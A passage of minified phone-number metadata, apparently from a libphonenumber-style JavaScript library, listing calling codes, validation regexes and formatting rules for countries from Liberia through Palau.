$3\",[\"7\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[1-689]\"],\"0$1\"]],\"0\"],LR:[\"231\",\"00\",\"(?:[25]\\\\d|33|77|88)\\\\d{7}|(?:2\\\\d|[4-6])\\\\d{6}\",[7,8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[4-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[23578]\"],\"0$1\"]],\"0\"],LS:[\"266\",\"00\",\"(?:[256]\\\\d\\\\d|800)\\\\d{5}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2568]\"]]]],LT:[\"370\",\"00\",\"(?:[3469]\\\\d|52|[78]0)\\\\d{6}\",[8],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"52[0-7]\"],\"(8-$1)\",1],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[7-9]\"],\"8 $1\",1],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"37|4(?:[15]|6[1-8])\"],\"(8-$1)\",1],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[3-6]\"],\"(8-$1)\",1]],\"8\",0,\"[08]\"],LU:[\"352\",\"00\",\"35[013-9]\\\\d{4,8}|6\\\\d{8}|35\\\\d{2,4}|(?:[2457-9]\\\\d|3[0-46-9])\\\\d{2,9}\",[4,5,6,7,8,9,10,11],[[\"(\\\\d{2})(\\\\d{3})\",\"$1 $2\",[\"2(?:0[2-689]|[2-9])|[3-57]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"2(?:0[2-689]|[2-9])|[3-57]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"20[2-689]\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{1,2})\",\"$1 $2 $3 $4\",[\"2(?:[0367]|4[3-8])\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"80[01]|90[015]\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"20\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{1,2})\",\"$1 $2 $3 $4 $5\",[\"2(?:[0367]|4[3-8])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{1,5})\",\"$1 $2 $3 $4\",[\"[3-57]|8[13-9]|9(?:0[89]|[2-579])|(?:2|80)[2-9]\"]]],0,0,\"(15(?:0[06]|1[12]|[35]5|4[04]|6[26]|77|88|99)\\\\d)\"],LV:[\"371\",\"00\",\"(?:[268]\\\\d|90)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[269]|8[01]\"]]]],LY:[\"218\",\"00\",\"[2-9]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{7})\",\"$1-$2\",[\"[2-9]\"],\"0$1\"]],\"0\"],MA:[\"212\",\"00\",\"[5-8]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"5[45]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5})\",\"$1-$2\",[\"5(?:2[2-489]|3[5-9]|9)|8(?:0[89]|92)\",\"5(?:2(?:[2-49]|8[235-9])|3[5-9]|9)|8(?:0[89]|92)\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1-$2\",[\"8\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1-$2\",[\"[5-7]\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"5(?:2(?:[0-25-79]\\\\d|3[1-578]|4[02-46-8]|8[0235-7])|3(?:[0-47]\\\\d|5[02-9]|6[02-8]|8[014-9]|9[3-9])|(?:4[067]|5[03])\\\\d)\\\\d{5}\"],[\"(?:6(?:[0-79]\\\\d|8[0-247-9])|7(?:[0167]\\\\d|2[0-2]|5[01]|8[0-3]))\\\\d{6}\"],[\"80[0-7]\\\\d{6}\"],[\"89\\\\d{7}\"],0,0,0,0,[\"(?:592(?:4[0-2]|93)|80[89]\\\\d\\\\d)\\\\d{4}\"]]],MC:[\"377\",\"00\",\"(?:[3489]|6\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"4\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[389]\"]],[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"6\"],\"0$1\"]],\"0\"],MD:[\"373\",\"00\",\"(?:[235-7]\\\\d|[89]0)\\\\d{6}\",[8],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"22|3\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[25-7]\"],\"0$1\"]],\"0\"],ME:[\"382\",\"00\",\"(?:20|[3-79]\\\\d)\\\\d{6}|80\\\\d{6,7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[2-9]\"],\"0$1\"]],\"0\"],MF:[\"590\",\"00\",\"590\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],0,\"0\",0,0,0,0,0,[[\"590(?:0[079]|[14]3|[27][79]|3[03-7]|5[0-268]|87)\\\\d{4}\"],[\"69(?:0\\\\d\\\\d|1(?:2[2-9]|3[0-5]))\\\\d{4}\"],[\"80[0-5]\\\\d{6}\"],0,0,0,0,0,[\"9(?:(?:395|76[018])\\\\d|475[0-5])\\\\d{4}\"]]],MG:[\"261\",\"00\",\"[23]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[23]\"],\"0$1\"]],\"0\",0,\"([24-9]\\\\d{6})$|0\",\"20$1\"],MH:[\"692\",\"011\",\"329\\\\d{4}|(?:[256]\\\\d|45)\\\\d{5}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[2-6]\"]]],\"1\"],MK:[\"389\",\"00\",\"[2-578]\\\\d{7}\",[8],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"2|34[47]|4(?:[37]7|5[47]|64)\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[347]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[58]\"],\"0$1\"]],\"0\"],ML:[\"223\",\"00\",\"[24-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[24-9]\"]]]],MM:[\"95\",\"00\",\"1\\\\d{5,7}|95\\\\d{6}|(?:[4-7]|9[0-46-9])\\\\d{6,8}|(?:2|8\\\\d)\\\\d{5,8}\",[6,7,8,9,10],[[\"(\\\\d)(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"16|2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[45]|6(?:0[23]|[1-689]|7[235-7])|7(?:[0-4]|5[2-7])|8[1-6]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[12]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[4-7]|8[1-35]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4,6})\",\"$1 $2 $3\",[\"9(?:2[0-4]|[35-9]|4[137-9])\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"92\"],\"0$1\"],[\"(\\\\d)(\\\\d{5})(\\\\d{4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"]],\"0\"],MN:[\"976\",\"001\",\"[12]\\\\d{7,9}|[5-9]\\\\d{7}\",[8,9,10],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"[12]1\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[5-9]\"]],[\"(\\\\d{3})(\\\\d{5,6})\",\"$1 $2\",[\"[12]2[1-3]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5,6})\",\"$1 $2\",[\"[12](?:27|3[2-8]|4[2-68]|5[1-4689])\",\"[12](?:27|3[2-8]|4[2-68]|5[1-4689])[0-3]\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{4,5})\",\"$1 $2\",[\"[12]\"],\"0$1\"]],\"0\"],MO:[\"853\",\"00\",\"0800\\\\d{3}|(?:28|[68]\\\\d)\\\\d{6}\",[7,8],[[\"(\\\\d{4})(\\\\d{3})\",\"$1 $2\",[\"0\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[268]\"]]]],MP:[\"1\",\"011\",\"[58]\\\\d{9}|(?:67|90)0\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"670$1\",0,\"670\"],MQ:[\"596\",\"00\",\"596\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[569]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],MR:[\"222\",\"00\",\"(?:[2-4]\\\\d\\\\d|800)\\\\d{5}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-48]\"]]]],MS:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|664|900)\\\\d{7}\",[10],0,\"1\",0,\"([34]\\\\d{6})$|1\",\"664$1\",0,\"664\"],MT:[\"356\",\"00\",\"3550\\\\d{4}|(?:[2579]\\\\d\\\\d|800)\\\\d{5}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2357-9]\"]]]],MU:[\"230\",\"0(?:0|[24-7]0|3[03])\",\"(?:[57]|8\\\\d\\\\d)\\\\d{7}|[2-468]\\\\d{6}\",[7,8,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-46]|8[013]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[57]\"]],[\"(\\\\d{5})(\\\\d{5})\",\"$1 $2\",[\"8\"]]],0,0,0,0,0,0,0,\"020\"],MV:[\"960\",\"0(?:0|19)\",\"(?:800|9[0-57-9]\\\\d)\\\\d{7}|[34679]\\\\d{6}\",[7,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[34679]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"]]],0,0,0,0,0,0,0,\"00\"],MW:[\"265\",\"00\",\"(?:[1289]\\\\d|31|77)\\\\d{7}|1\\\\d{6}\",[7,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1[2-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[137-9]\"],\"0$1\"]],\"0\"],MX:[\"52\",\"0[09]\",\"1(?:(?:[27]2|44|87|99)[1-9]|65[0-689])\\\\d{7}|(?:1(?:[01]\\\\d|2[13-9]|[35][1-9]|4[0-35-9]|6[0-46-9]|7[013-9]|8[1-69]|9[1-8])|[2-9]\\\\d)\\\\d{8}\",[10,11],[[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"33|5[56]|81\"],0,1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-9]\"],0,1],[\"(\\\\d)(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$2 $3 $4\",[\"1(?:33|5[56]|81)\"],0,1],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$2 $3 $4\",[\"1\"],0,1]],\"01\",0,\"0(?:[12]|4[45])|1\",0,0,0,0,\"00\"],MY:[\"60\",\"00\",\"1\\\\d{8,9}|(?:3\\\\d|[4-9])\\\\d{7}\",[8,9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1-$2 $3\",[\"[4-79]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1-$2 $3\",[\"1(?:[02469]|[378][1-9]|53)|8\",\"1(?:[02469]|[37][1-9]|53|8(?:[1-46-9]|5[7-9]))|8\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1-$2 $3\",[\"3\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1-$2-$3-$4\",[\"1(?:[367]|80)\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2 $3\",[\"15\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1-$2 $3\",[\"1\"],\"0$1\"]],\"0\"],MZ:[\"258\",\"00\",\"(?:2|8\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2|8[2-79]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]]]],NA:[\"264\",\"00\",\"[68]\\\\d{7,8}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"88\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"6\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"87\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"],\"0$1\"]],\"0\"],NC:[\"687\",\"00\",\"(?:050|[2-57-9]\\\\d\\\\d)\\\\d{3}\",[6],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1.$2.$3\",[\"[02-57-9]\"]]]],NE:[\"227\",\"00\",\"[027-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"08\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[089]|2[013]|7[047]\"]]]],NF:[\"672\",\"00\",\"[13]\\\\d{5}\",[6],[[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"1[0-3]\"]],[\"(\\\\d)(\\\\d{5})\",\"$1 $2\",[\"[13]\"]]],0,0,\"([0-258]\\\\d{4})$\",\"3$1\"],NG:[\"234\",\"009\",\"(?:[124-7]|9\\\\d{3})\\\\d{6}|[1-9]\\\\d{7}|[78]\\\\d{9,13}\",[7,8,10,11,12,13,14],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"78\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[12]|9(?:0[3-9]|[1-9])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,3})\",\"$1 $2 $3\",[\"[3-7]|8[2-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[7-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4,5})\",\"$1 $2 $3\",[\"[78]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5})(\\\\d{5,6})\",\"$1 $2 $3\",[\"[78]\"],\"0$1\"]],\"0\"],NI:[\"505\",\"00\",\"(?:1800|[25-8]\\\\d{3})\\\\d{4}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[125-8]\"]]]],NL:[\"31\",\"00\",\"(?:[124-7]\\\\d\\\\d|3(?:[02-9]\\\\d|1[0-8]))\\\\d{6}|8\\\\d{6,9}|9\\\\d{6,10}|1\\\\d{4,5}\",[5,6,7,8,9,10,11],[[\"(\\\\d{3})(\\\\d{4,7})\",\"$1 $2\",[\"[89]0\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"66\"],\"0$1\"],[\"(\\\\d)(\\\\d{8})\",\"$1 $2\",[\"6\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1[16-8]|2[259]|3[124]|4[17-9]|5[124679]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-578]|91\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{5})\",\"$1 $2 $3\",[\"9\"],\"0$1\"]],\"0\"],NO:[\"47\",\"00\",\"(?:0|[2-9]\\\\d{3})\\\\d{4}\",[5,8],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-79]\"]]],0,0,0,0,0,\"[02-689]|7[0-8]\"],NP:[\"977\",\"00\",\"(?:1\\\\d|9)\\\\d{9}|[1-9]\\\\d{7}\",[8,10,11],[[\"(\\\\d)(\\\\d{7})\",\"$1-$2\",[\"1[2-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1-$2\",[\"1[01]|[2-8]|9(?:[1-59]|[67][2-6])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1-$2\",[\"9\"]]],\"0\"],NR:[\"674\",\"00\",\"(?:444|(?:55|8\\\\d)\\\\d|666)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[4-68]\"]]]],NU:[\"683\",\"00\",\"(?:[4-7]|888\\\\d)\\\\d{3}\",[4,7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"8\"]]]],NZ:[\"64\",\"0(?:0|161)\",\"[1289]\\\\d{9}|50\\\\d{5}(?:\\\\d{2,3})?|[27-9]\\\\d{7,8}|(?:[34]\\\\d|6[0-35-9])\\\\d{6}|8\\\\d{4,6}\",[5,6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{3,8})\",\"$1 $2\",[\"8[1-79]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"50[036-8]|8|90\",\"50(?:[0367]|88)|8|90\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"24|[346]|7[2-57-9]|9[2-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2(?:10|74)|[589]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"1|2[028]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,5})\",\"$1 $2 $3\",[\"2(?:[169]|7[0-35-9])|7\"],\"0$1\"]],\"0\",0,0,0,0,0,0,\"00\"],OM:[\"968\",\"00\",\"(?:1505|[279]\\\\d{3}|500)\\\\d{4}|800\\\\d{5,6}\",[7,8,9],[[\"(\\\\d{3})(\\\\d{4,6})\",\"$1 $2\",[\"[58]\"]],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"2\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[179]\"]]]],PA:[\"507\",\"00\",\"(?:00800|8\\\\d{3})\\\\d{6}|[68]\\\\d{7}|[1-57-9]\\\\d{6}\",[7,8,10,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[1-57-9]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"[68]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]]]],PE:[\"51\",\"00|19(?:1[124]|77|90)00\",\"(?:[14-8]|9\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"80\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"1\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[4-8]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"]]],\"0\",0,0,0,0,0,0,\"00\",\" Anexo \"],PF:[\"689\",\"00\",\"4\\\\d{5}(?:\\\\d{2})?|8\\\\d{7,8}\",[6,8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"44\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"4|8[7-9]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"]]]],PG:[\"675\",\"00|140[1-3]\",\"(?:180|[78]\\\\d{3})\\\\d{4}|(?:[2-589]\\\\d|64)\\\\d{5}\",[7,8],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"18|[2-69]|85\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[78]\"]]],0,0,0,0,0,0,0,\"00\"],PH:[\"63\",\"00\",\"(?:[2-7]|9\\\\d)\\\\d{8}|2\\\\d{5}|(?:1800|8)\\\\d{7,9}\",[6,8,9,10,11,12,13],[[\"(\\\\d)(\\\\d{5})\",\"$1 $2\",[\"2\"],\"(0$1)\"],[\"(\\\\d{4})(\\\\d{4,6})\",\"$1 $2\",[\"3(?:23|39|46)|4(?:2[3-6]|[35]9|4[26]|76)|544|88[245]|(?:52|64|86)2\",\"3(?:230|397|461)|4(?:2(?:35|[46]4|51)|396|4(?:22|63)|59[347]|76[15])|5(?:221|446)|642[23]|8(?:622|8(?:[24]2|5[13]))\"],\"(0$1)\"],[\"(\\\\d{5})(\\\\d{4})\",\"$1 $2\",[\"346|4(?:27|9[35])|883\",\"3469|4(?:279|9(?:30|56))|8834\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[3-7]|8[2-8]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]],[\"(\\\\d{4})(\\\\d{1,2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"1\"]]],\"0\"],PK:[\"92\",\"00\",\"122\\\\d{6}|[24-8]\\\\d{10,11}|9(?:[013-9]\\\\d{8,10}|2(?:[01]\\\\d\\\\d|2(?:[06-8]\\\\d|1[01]))\\\\d{7})|(?:[2-8]\\\\d{3}|92(?:[0-7]\\\\d|8[1-9]))\\\\d{6}|[24-9]\\\\d{8}|[89]\\\\d{7}\",[8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{2,7})\",\"$1 $2 $3\",[\"[89]0\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"1\"]],[\"(\\\\d{3})(\\\\d{6,7})\",\"$1 $2\",[\"2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:2[2-8]|3[27-9]|4[2-6]|6[3569]|9[25-8])\",\"9(?:2[3-8]|98)|(?:2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:22|3[27-9]|4[2-6]|6[3569]|9[25-7]))[2-9]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{7,8})\",\"$1 $2\",[\"(?:2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91)[2-9]\"],\"(0$1)\"],[\"(\\\\d{5})(\\\\d{5})\",\"$1 $2\",[\"58\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"3\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"[24-9]\"],\"(0$1)\"]],\"0\"],PL:[\"48\",\"00\",\"(?:6|8\\\\d\\\\d)\\\\d{7}|[1-9]\\\\d{6}(?:\\\\d{2})?|[26]\\\\d{5}\",[6,7,8,9,10],[[\"(\\\\d{5})\",\"$1\",[\"19\"]],[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"11|20|64\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])1\",\"(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])19\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"64\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"21|39|45|5[0137]|6[0469]|7[02389]|8(?:0[14]|8)\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"1[2-8]|[2-7]|8[1-79]|9[145]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"8\"]]]],PM:[\"508\",\"00\",\"[45]\\\\d{5}|(?:708|80\\\\d)\\\\d{6}\",[6,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[45]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"7\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],PR:[\"1\",\"011\",\"(?:[589]\\\\d\\\\d|787)\\\\d{7}\",[10],0,\"1\",0,0,0,0,\"787|939\"],PS:[\"970\",\"00\",\"[2489]2\\\\d{6}|(?:1\\\\d|5)\\\\d{8}\",[8,9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2489]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"5\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],PT:[\"351\",\"00\",\"1693\\\\d{5}|(?:[26-9]\\\\d|30)\\\\d{7}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"2[12]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"16|[236-9]\"]]]],PW:[\"680\",\"01[12]\",\"(?:[24-8]\\\\d\\\\d|345|900)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 